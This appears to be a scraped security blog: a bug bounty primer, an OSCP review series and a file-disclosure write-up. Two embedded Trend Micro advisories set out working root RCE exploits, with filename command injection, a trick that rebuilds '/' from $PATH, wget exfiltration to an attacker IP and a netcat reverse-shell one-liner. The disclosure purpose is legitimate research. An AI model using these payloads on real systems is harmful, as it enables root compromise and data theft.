Bug Bounty Program Primer – Finding Vulnerabilities for Fun and Profit

funny 0day

After some requests and questions asked, I decided to answer the emails in the form of a post about bug bounty programs.

For those that do not know me personally, let me get the ‘street cred’ out of the way.  I have been bug hunting (bounty hunting) for a couple years now, and came in 10th during the “Hack the Pentagon” bug bounty program.  I have amassed a large number of unknown bugs (0days).  Some have been disclosed, others have not.  I have discovered many different types of web application vulnerabilities in the wild (SQLi, LFD, XXE, XSS, Arbitrary File Upload, Command Injection, etc.).  And on and on and on.  Hopefully that’s enough for me to dispense with some lessons learned and help some of you get a start in securing the Internet 🙂  I’ve structured this like an FAQ of questions I had and have been getting asked, so let’s get this started….


What is a bug bounty program?

In essence, this is a way for companies to open the doors to security researchers (white or black hat) to find security problems without fear of legal repercussions.  Note that this doesn’t mean you won’t go to jail.  Generally there is a scope to the bug bounty program, and if you go outside that scope, you cross the legal protection and could easily get in trouble with the law.  For example, if the scope says you can attack ‘www.foo.com’ and you find a flaw in ‘bar.foo.com’…you are attacking something they did not say you could.  Expect legal fees, and potentially a really large ‘friend’ when you get locked up.

Bug bounty programs are appealing because they don’t just offer a way to ethically disclose security flaws, but they often also offer incentive.  These incentives range from a ‘Hall of Fame’ listing those who have discovered legitimate problems, to swag (T-shirts, stickers, etc.), to a hand shake with the Almighty (yes I’m deifying cash).


Will I get arrested for participating in bug bounty programs?

Short answer, maybe.  That depends on your ability to read and follow directions.  If you stay in scope, you are covered.  If you don’t…..


Where can I find a list of bug bounty programs?

There are more lists than these, but here are the ones that I have bookmarked.  Though to be honest, at this point I just refresh hackerone and bugcrowd.

  • https://hackerone.com/directory
  • https://bugcrowd.com/programs
  • http://www.vulnerability-lab.com/list-of-bug-bounty-programs.php
  • http://www.w4rri0r.com/bug-bounty-programs/where-are-you-bug-hunters.html


How competitive are bug bounty programs?

This depends.  If you get in at the ground level, it’s more of a race than anything.  Hack the Pentagon I had the majority of my findings closed as duplicates.  I simply got beat to the punch.  But I had several findings that were accepted too.  Generally speaking, the longer the program has been running, the harder it will be to find stuff.  Logically that makes sense as there are hundreds of eyes looking for low hanging fruit, and the ripest fruit (big bounties).  Look at hackerone and bugcrowd, pick some programs and check how many bugs have been found, fixed, and how many hackers have been thanked.  The larger the number, generally the harder it will be to find something profitable.  Not impossible, but harder.

Take Google and Facebook as a prime example.  They were inundated with findings when their programs opened.  Now, it’s a headline when someone finds something of merit.  It took them over a year before there was a noticeable slowing in headlines about bugs.  And now it’s almost a pride thing to get a bounty in either program.  There are still bugs to be found….but they are not anywhere near as prevalent, or easy to find.

So the short answer is, if you get in quick, it’s pretty easy to find stuff.  The longer you wait, the more bugs will be consumed by pros.  Plan accordingly.


What is the general process for finding a bug or vulnerability?

This is in no way an easy question to answer.  I have derived my own strategy with the base I learned from a web application security course I took.  I have since modified (mutated) it to fit my own personal style.  Unfortunately the depth of the question does not lend itself well to this post, and I will have to revisit this in length, at another time in another post.  For now I’ll give a brief overview of the strategy I use.

  • OSINT – identify all information I can about the target to flesh out the scope as much as possible (ie. subdomains, user accounts, etc.)
  • Examine each URL, in the scope, and categorize functionality (file uploads, probable DB queries, user input that is reflected, etc.)
  • Categorize possible attack locations
  • Use a generic test at each attack location
  • If there is a possible attack vector, dig deep, otherwise move on


How long should I spend on a particular bug bounty program?

Here’s another ‘it depends’ answer.  I find that some programs are VERY ripe.  And warrant more time.  Others, are like rubbing my face on asphalt to get dolled up for prom.  This is where experience really comes into play.  Generally I spend a day or two getting a feel for the target.

Let’s look at some real world examples.  I spent a week looking at the united airlines bug bounty program.  This was a headline making program and I saw it as a challenge to hit the boards.  My goal (was still relatively new to bounty hunting) was just a single bug.  I found that first bug on day one.  This lent to the logical conclusion that the scope would be pretty ripe.  Unfortunately by the end of the week I was only getting duplicates and decided it wasn’t worth the time spent.  I was glad to be on the boards and called it a day.  They are still making pay outs, so I think I missed out.  Big lesson learned.

sighOn the flipside, pornhub recently launched their program with hackerone.  As it turns out, they had already been running a private program (BOOOOOO….I’d tell them to go F themselves for that, but…uh….I’m pretty sure that’s what that site is all about), which clipped most of the low hanging fruit.  After a day, I realized they had gotten all the easy stuff and I was looking for obscure stuff.  This was an easy one to walk away from.  Recently there was a headline how pornhub paid out a bounty…..for a couple guys who used zero days in php to attack them.  Read that again, they attacked the language, not the site.  The bug(s) used would have gone for MUCH more than what pornhub paid out, but that neither here nor there.  The point is, a zero day was required to get a decent pay day.  I walked away perfectly.  Lesson learned.


How long does it take to find a bug or vulnerability?

And again, it depends.  I’ve had bugs pop up within minutes.  I’ve gone weeks on a program and found nothing.  It really depends.  Part luck, part skill, part experience.  And when I’m working on a COTS product, I’ve had a few apps that panned out to nothing (only a few).  Some apps I spend a couple days on, some months.  In the case of the latter, I recently concluded a 6 week gruelling campaign against a major vendor, on one of their products.  Found RCE, over a dozen SQLi….and no one gives a shit.  Totally wasted time.

On the other hand, in another product I discovered a stacked SQLi in the very first parameter I tested.  That landed me several grand.  It’s almost like playing the lottery.  If you want in this game, you really have to want to be in this game.  There are many pits of nothing.  Be ready for them.


What if I find a bug in a product that does not have a bug bounty program?

First off, if you are hacking sites without permission, stop.  Stop now.  You will go to jail.  Any bounty/bug I have found has either been within an authorized bug bounty program, or with a COTS (commercial off the shelf) product within the confines of my own personal lab.  If you attack something, you better be damn sure you have the permission to attack it.

That being said, there are 3rd party organizations that will buy bugs in products with no bug bounty program.  They are legal.  Here is a quick list of the top 3 and how they legally disclose/use your vulnerabilities/exploits:

Zero Day Initiative – a direct quote: “TippingPoint provides a “virtual patch” functionality that protects vulnerable systems from compromise when host-by-host patches have not been applied or do not yet exist from the vendor. Our security research team develops new Digital Vaccine® protection filters that address the latest vulnerabilities and are constantly distributed to our customers. By writing vulnerability filters for security issues that come in through the Zero Day Initiative, TippingPoint maintains a competitive edge while protecting customers and encouraging security researchers to bring findings into the public domain.”

Beyond Security – Sells the vulnerability/exploit to pen test companies for use in their engagements, while simultaneously working with a vendor to correct the vulnerability.

Zerodium – Sends vulnerability information to a feed that their clients subscribe to, allowing for protection before a fix is implemented.


What tools should I use for finding bugs or vulnerabilities?

Here is another big post in the making.  I’ll be as brief as I can here, while plotting on another post to go in depth.

Burp Suite is the go to here.  Period.  I have a pro license (though the scanner is largely unused).  If you are serious about bug hunting, get the free version and decide if the pro version makes sense later.  In 90% of the cases, the free version will be plenty.

I do occasionally use SQLMap.  Though only when I can’t figure out the PoC (Proof of Concept) on my own.  It’s great for automating possible injection strings, but noisy as all hell (definitely recommend not using during red team engagements).

DirBuster is sometimes used for finding folders, pages, and docs that are not intended to be referenced, though that is rarely something I check during bug hunting.

Finding subdomains is a necessity (typically with *.foo.com scopes).  For this I generally use sites like https://pentest-tools.com/information-gathering/find-subdomains-of-domain

ZDI-16-348: Trend Micro InterScan Web Security ManagePatches filename Remote Code Execution Vulnerability

Version: IWSVA65sp2


The com.trend.iwss.gui.servlet.ManagePatches servlet contains a flaw allowing any authenticated user (including ‘Report Only’ users) to execute commands under the context of the root user.


The com.trend.iwss.gui.servlet.ManagePatches servlet is used by elevated privilege users to upload files (patches). The functionality, however, can be used by any authenticated user simply by substituting their cookie into the request (below is a sample of the stripped down valid request).

POST /servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload HTTP/1.1
Host: <server IP>:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<server IP>:8443/admin_patch_mgmt2.jsp?CSRFGuardToken=MQG8WJXIT4J8GASYYA7OVCXXBKUIGG5D
Connection: close
Content-Type: multipart/form-data; boundary=—————————141658507810329061771972399818
Content-Length: 259

Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml”
Content-Type: text/xml


The actual injection takes place in the name of the file being uploaded. By performing the following tests, the delay in responses indicates that command execution is occurring.

Initial test:

Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml&ping -c 10″
Content-Type: text/xml

Secondary test:

Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml&ping -c 30″
Content-Type: text/xml

This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) are possible.

By issuing a ‘wget <ip>’ of the attacker machine, a response is seen. However, exfiltrating information a bit more tricky. Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user running a wget to retrieve the current user using the given command (where [ip address] is your receiving machine):

Command –

filename=”test.xml&wget `echo [ip address]“echo $PATH | cut -c1“id`”

EXPLANATION: using ` (or even $()) to escape, it is possible to pull the ‘/’ character from the current $PATH and insert it into the command, creating the full wget of [ip address]/`id`

Apache Log –


This grants the ability to exfiltrate some data, as well as upload (via wget) files.

Now the attacker has the ability to create a shell by uploading a file containing the following:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f

To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:

test.xml&wget `echo [ip address]“echo $PATH | cut -c1`shell

Once the file has been uploaded (will be placed in the /var/iwss/patch/bin folder), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:

test.xml&chmod a+x shell

test.xml&.`echo $PATH | cut -c1`shell


CVE-2016-5840: Trend Micro Deep Discovery hotfix_upload.cgi filename Remote Code Execution Vulnerability

Version: TDA 2.6.1062r1


The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user.


The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used:

POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://<server IP>/cgi-bin/hotfix_history.cgi
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: multipart/form-data; boundary=—————————7e0823930136
Accept-Encoding: gzip, deflate
Host: <server IP>
Content-Length: 206
Connection: close
Cache-Control: no-cache
Cookie: session_id=

Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt”
Content-Type: text/plain


The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response:


This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible.

Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: `echo $PATH | cut -c1` will print ‘/‘ to the final command):


Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f

To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:

test.txt&wget http:`echo $PATH | cut -c1“echo $PATH | cut -c1`[ip]`echo $PATH | cut -c1`shell

Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:

test.xml&chmod a+x shell

test.xml&.`echo $PATH | cut -c1`shell


otx.alienvault.com Local File Disclosure


Those who know me are aware that I partake in bug bounty programs.  Today I’m giving you a brief post on a recent finding and the response/reward received after the submission.

AlienVault had a swag based bug bounty posted, which appears to have gone offline as I can no longer find the page detailing the program.  But while it was live, I decided to take a look since swag based programs are often less examined compared with that of their monetary based brethren.

Within a couple hours I had identified a JSON API by simply altering the unique ID in the URL to that of an invalid ID.  This allowed me to inspect the particular call a little more closely, and that’s where the fun began.


By following this same strategy I was able to find information on other API functions, including one called ‘extract’ (https://otx.alienvault.com/otxapi/extract).

The extract query appeared to be pulling data from a flat file, and creating a CSV from the contents before presenting to the user for download.  Clearly this looked interesting.  I tried a few basic path traversals with no luck, then tried escaping the forward slash…..and….

OTX AlienVault Local File DisclosureUh oh.  Victory for me, red flag for the security team.

I don’t like leaving bugs with this level of severity on the table for even a short period of time.  Reflected XSS, sure I’ll stack a few and send en masse.  But not higher criticality bugs.  So I drafted a rather brief email to the PoC for the bug program, with the above screenshot, and sent it on it’s way.

I submitted the bug on May 8th, and by the 13th I was notified that the bug had been confirmed and mitigated.  Excellent response time 🙂

With the mitigation I received the following insight into the finding:

By the way an interesting note on your particular vuln is that we are running inside a container.  We still treat a vuln like this with the highest priority as there are things in that container that are secrets, but for the most part we considering the risk of this vuln largely mitigated by that encapsulation.

This was good to hear as it meant that segmentation was built in.  Good security practice, so kudos there.  Additionally, I’m always happy to see forward thinking companies, like AlienVault, that take a proactive stance to improving security.  Programs like this greatly improve overall security posture, often at a fraction of the cost, and help encourage those of us who want to do the right thing, to do exactly that.

As thanks, AlienVault sent me the following swag bag.

20160602_074255There was actually a second laptop cam cover, but I promptly used it to remove the taped on paper cover I have been using heh.

I plan on wearing the ‘gray hat’ at cons in the future.  Thanks to AlienVault for doing the right thing, and special thanks to Russell Spitler for the quick and friendly responses on the finding!

Hack the Pentagon Top 10

Had to brag a little, because I’m a bit pleased with myself.  The first ever “Hack the Pentagon” bug bounty program kicked off Mid April (the 18th?).  I submitted several flaws within the first 24 after feeling i had fished out the easy shit.

pentagon top 10


At the time of the screenshot, I have 8 verified bugs.  You don’t want to know how many duplicates I had (sigh).  Despite this being an ‘invite-only’ private bounty program, there was a lot of media hype and a lot of participation.  The scope was slammed within the first hour.

This is my major ‘gripe’ about bounty programs.  The competition is ridiculous.  The first few days are where the real meat will be found, and the majority of findings are within the first few hours.  This means that whoever sees the program go live, has the best chance.

These programs lack an overall structure that makes it REALLY hard to compete through programs like hackerone and bugcrowd.

I’ll stop whining now.  My goal with the program was to hit the top 10.  Didn’t think i would, but….i’m happy to have been wrong!!!!

An OSCP Review – The OSCP Epic Part 4 – Grand Finale

As of March 12th 2016 I am OSCP certified.  Writing that first sentence was VERY bitter sweet.  I stopped doing the lab after the 4th month.  In all i was putting in roughly 25 hours a week into the lab.  The last two week stint I purchased was a huge boon and pushed well in to the 30+ machines owned category.

You would think that prepared me for the exam.  But it didn’t, and it won’t prepare you either.  It took me more than one attempt to pass.  And the experience I had taking the exam was frustrating, aggravating, and disgusting.  I realize how negative that sounds, and it’s intentional.

Take the hardest machines in the lab, with all their bullshit CTF style games, and give yourself 24 hours to crack them.  Let me revisit that first part.  The exam machines are CTF style.  This means no real world, realistic flaws.  No.  You are given machines that are deliberately configured such that you have to solve puzzles.

The vulnerabilities WILL BE MODIFIED.  If you see a local file inclusion, expect to have to use it indirectly, or to find a ‘clue file’.  Then use that second part to find a third part.  And the third to find a fourth and maybe, just maybe gain shell access, only to solve a WHOLE NEW SET OF PUZZLES to escalate.

And this is why passing the exam is bitter.  Yes I’m one of the few who now holds the piece of paper.  But what does it mean?  The lab helped get my hands dirty and practice with some real flaws and research.  But was vastly unrealistic.  The exam, was despicable and bizarrely inaccurate for a real world demonstration of skill.

I’ve been doing pen testing and red teaming daily, for 5 years now.  And the exam and lab DO NOT PREPARE YOU FOR THE REAL WORLD.  Let me repeat, THEY DO NOT PREPARE YOU.  Am I saying the real world is crazy hard?  Fuck no!!!!  Popping a targeted user base with phishing, moving laterally until you can get domain admin credentials, shadow copy, etc…..FAR EASIER.

Using known vulnerabilities in a real exercise….you don’t have to find clue files, decipher cryptic files to find hidden directories, etc.  My experience with real engagements is far more closely related to a con game than anything, combined with technical knowledge.

How would/could you test that?  No idea.  But I can tell you one thing, the OSCP will not show you what to expect when you are confronted with a real organization.  Not every box is readily exploitable.  Often you have to rely on skills and tricks that are outside the realm of exploits.  Read: conning users into giving you the credentials you want (drive by downloads, social engineering, pop ups, etc).

I’m going to end my rant and summarize.  Yes i’m now certified.  I can’t say i would ever endorse this cert for real world training.  It will get you jobs that pay a lot of money, but you will have to learn real TTPs crazy fast or lose that very same high paying job for not knowing what to do, when, or how.

It is my solid opinion that the OSCP will set you up for failure in the real world.  If you know little to nothing about pen testing, then the course will help facilitate your education.  But not by teaching you, by giving you a sandbox where you effectively TEACH YOURSELF.

I feel like a i just got the CISSP part 2 🙁

An OSCP Review – The OSCP Epic Part 3

I just purchased my third month, and I have mixed feelings about doing so.  I have spent almost 6 weeks (minus 2 out of the 8 for selling my house and moving), averaging almost 20 hours per week.  At this point i have 25 machines fully rooted/system’d, including the ‘gimme’ msf box.  My goal was 24 before taking the exam, but that goal has changed as i discovered my personal weak areas.  That being privilege escalation and modification of binary exploits.

I can say with certainty that web based application hacking experience has carried me far, and fast.  I dropped MANY machines by utilizing web based attack vectors, but have been informed that most machines have multiple avenues of compromise.

Currently, I have all but one network unlocked (dev…wtf?!).  This is a major bone of contention for me.  I have access to the machine that touches the dev network, but haven’t gotten priv esc to unlock the network key.  Why is that frustrating?  because i have shell, and can…well in the real world I WOULD be able to….access the dev subnet.  But because i haven’t unlocked the subnet, i can’t reset machines, and am having port scans come up dead.

So the try harder adage applies right?  Well, yes, but i have uncovered no less than half a dozen machines that unlock the IT network, and only one that unlocked the admin network, and one that will likely unlock dev.  I find this to be disproportionate, and ridiculous, especially when i find a fucking IT subnet key, on an admin network machine (you have to unlock IT before admin).

So i’m a bit frustrated, and a bit disillusioned.  Having done Red Team exercises and pen testing (professionally) for a few years now, i find some of the lab to be realistic, and other parts nothing more than game play.  There is literally a box where it’s nothing more than a CTF style challenge.  No spoilers, but that one aggrevated me on a whole new level, and not because I couldn’t pop it, but because it had no real value other than playing a ‘game’.  It’s not realistic in the slightest.

This leaves me with another month to do the following:

  • Pop a few more boxes (ideally the dev net…sight)
  • Practice priv esc until i gain a little more comfort
  • Practice exploit modification (essential for the exam)
  • Write my lab report
  • Prep my test report

That’s a tall order for one month, but i’m tired of the ‘game’ aspect of the lab, and really fatigued.  I need to rest, and want the exam done with.  So i will be scheduling it for a few weeks after this month is over.  So I should be taking it sometime before christmas.  I can’t wait….lol

An OSCP Review – The OSCP Epic Part 2

Haven’t updated in a while, and that’s because I just got my ass kicked (time wise) from moving.  But here is a breakdown of the experience thus far.

Week 1:

I had only evenings (1-2 hours) and Sunday (all day) to devote to the materials, but part of the certification includes doing the exercises in the material.  I felt much of it was busy work and review, but that may be because I have done this kind of thing in live environments professionally.  For most people I would be the material is pretty overwhelming.  The details are missing in a few places, so without experience it can leave the uninitiated with a lot of homework to do.  BUT, the material was highly relevant.  Using powershell as a call back mechanism, was discussed.  This was very nice to see, and VERY relevant to modern techniques.

Having said it was almost all review for me, it still took me an entire week to get through.  That being a little over 20 hours of time total.  If this stuff is new, plan to multiply that time out at least to a magnitude of 2 or 3.

Week 2:

This is where it got fun.  Finally.  I had finished the exercises in the materials, and was finally hitting the lab.  Doing the exercises did build a little bit of a base, since they have you do a few things that will get you started.  There were a handful of boxes that fell to a VERY well known exploit.  And in roughly ’67’ seconds I had some proof.txt files.  Then I came to a screeching halt.

I enumerated and enumerated and enumerated.  Researched flaw and flaw and found that the labs are constructed with a lot, and i mean a LOT of red herrings.  So don’t expect a scan and pop scenario.  Those exists, but not by and large.

About the 5th day in, I reverted to what i knew best (web applications) and started smashing.   I popped one more really quickly, then found three more to crush.  Unfortunately moving day arrived and I lost internet connectivity until two days ago.  So i just lost an entire week of lab time.  Extension here i come.  I don’t have 10 boxes yet, but should in the very near future.

A big gripe i had, and maybe i just missed something, is that i unlocked a subnet, but have no idea what the range is.  OK, i know, cheating right?  except that i have a client side attack into a network, and no idea if it is one i have unlocked.  See the problem?  I could pivot through, but if i haven’t unlocked the subnet, i can’t progress into that area.  There is a mismatch on that goal.  And i may be stymied until i unlock other subnets, even though in the real world i’d be moving along no problem.

And that’s the update.  I’m on week three, and finally able to get back to the lab (though i’m working so nights and weekend are my limitations)

EDIT: The subnet i unlocked was not visible until i logged in and out of the dashboard.  it did, in fact, coincide with the attack method i discovered so i should be able to pivot into second network very soon.

An OSCP Review – The OSCP Epic Part 1

After several years of yammering on about how I’m dying to take the course (read “blast the labs”), I have finally take the plunge and put my money where my mouth is.  I recently landed a few bounties that left me with some capital to spend, and since I’m in between contracts.  Fuck it.  Let’s do it.  So today I signed up.  I’m currently waiting on an email to get started and find my heart pounding with anticipation.

I have known a handful of OSCP holders, and they assure me I should do really well.  Further, I’ve read MANY reviews about the course/labs/exam, and have a strategy in place to expedite the process.

  • Step 1) Course materials.  I will bang through the course materials as quickly as possible.  Although the syllabus looks to be almost all review, there are exercises involved that help with extra points come exam time.  Seeing as I want to pass no matter what, I’m going for every point I can get my hands on.
  • Step 2) Lab time.  I am literally salivating here.  I can’t wait.  My goal is over half the machines in a month (including pivots).  To accomplish this I have devised a strategy to hit the ground running (and in the background as I smash through step 1).  I’m hoping this lands me a couple low hanging fruit and gives me a toe hold into the external network.  Then, loot and pillage.  Loot and pillage.  Loot and pillage.  Rinse repeat.  I’m going to document (make my report) as I go, to further speed up the process of the final report come exam day.
  • Step 3)  The exam.  I’m going to buy a single month, and tack on a second month if need be.  It’s only a $50 dollar savings if i buy the second month up front, but a $200 dollar savings if i don’t, and don’t need it.  I will be compiling my scripts, exploits, and preparing my report before hand, in hopes that it buys me some extra time.

Some anticipated hurdles and obstacles will likely get in the way.  I have a possible job offer, and starting a new day job could cause me to lose momentum.  Hence the possible second month.  Also, I sold my house and will be moving in a month’s time.  If i can time things well, i will be able to pack and move, and utilize the process as a mental break from the lab, before i review and hit the exam.  But that may not go according to plan, and the second month may be needed.

So there you have it. Time to smash it.  I welcome any words of encouragement, but NO SPOILERS.  I want this, but on my own blood, sweat and tears.  Questions/comments also warmly welcomed!

EDIT: And of course, there was an unforeseen problem.  No one had mentioned to me (or i selectively forgot) that there is a waiting period for the course to begin.  So here I feel all teased up and ready to go, but nope, get ready for the ache to set in, i have to wait until the 29th of this month to get started.  FML.  Two weeks before I can begin?  That’s a gripe right there 🙁

Welcome from the new owner!

this is how i work...seriously

this is how i work…seriously

If you are here for finance advice, you are in the wrong place.  Sorry, but this site is under new management.  The internet marketing experiment is over, and now is the time to pursue my true passion(s).  Join me as I follow the white rabbit and build up my presence and career in the tight knit world of cyber security.

Now to get to know me.  I’ve been a hobbyist for a very long time, but only recently delved into the depths of true knowledge.   I now bug/bounty hunt in my personal time (primarily web application vulns), and am teaching myself binary exploitation.  I have a few of the industry certs, one big one that doesn’t need mentioning, and a few lesser known ones like the eCPPT and eWPT.  The OSCP is in my cross-hairs and I am thoroughly excited to take it down!  I plan to document the latter as I go (adhering to NDAs of course), so join me, learn with and from me, and above all, never stop questioning!